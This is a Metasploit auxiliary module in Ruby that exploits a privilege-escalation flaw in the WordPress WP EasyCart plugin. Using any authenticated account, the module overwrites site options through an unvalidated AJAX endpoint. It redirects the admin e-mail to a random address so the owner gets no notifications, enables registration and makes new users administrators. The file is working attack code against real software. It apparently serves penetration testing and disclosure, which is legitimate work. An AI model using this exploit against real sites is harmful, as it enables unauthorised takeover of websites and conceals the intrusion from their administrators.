##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  include Msf::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress WP EasyCart Plugin Privilege Escalation',
      'Description'     => %q{
          The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20
          allows authenticated users of any user level to set any system
          option via a lack of validation in the ec_ajax_update_option
          and ec_ajax_clear_all_taxrates functions located in
          /inc/admin/admin_ajax_functions.php.

          The module first changes the admin e-mail address to prevent any
          notifications being sent to the actual administrator during the
          attack, re-enables user registration in case it has been disabled
          and sets the default role to be administrator. This will allow for
          the user to create a new account with admin privileges via the
          default registration page found at /wp-login.php?action=register.
      },
      'Author'          =>
        [
          'Rob Carr <rob[at]rastating.com>' # Discovery and Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['WPVDB', '7808'],
          ['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
        ],
      'DisclosureDate'  => 'Feb 25 2015'
      ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
      ], self.class)
  end

  def check
    check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def set_wp_option(name, value, cookie)
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => wordpress_url_admin_ajax,
      'vars_get'  => { 'action' => 'ec_ajax_update_option' },
      'vars_post' => { 'option_name' => name, 'option_value' => value },
      'cookie'    => cookie
    )

    if res.nil?
      vprint_error("#{peer} - No response from the target.")
    else
      vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
    end

    return res
  end

  def run
    print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
    print_good("#{peer} - Authenticated with WordPress")

    new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
    print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
    if set_wp_option('admin_email', new_email, cookie).nil?
      fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
    end

    print_status("#{peer} - Enabling user registrations...")
    if set_wp_option('users_can_register', 1, cookie).nil?
      fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
    end

    print_status("#{peer} - Setting the default user role...")
    if set_wp_option('default_role', 'administrator', cookie).nil?
      fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
    end

    register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
    print_good("#{peer} - Privilege escalation complete")
    print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
  end
end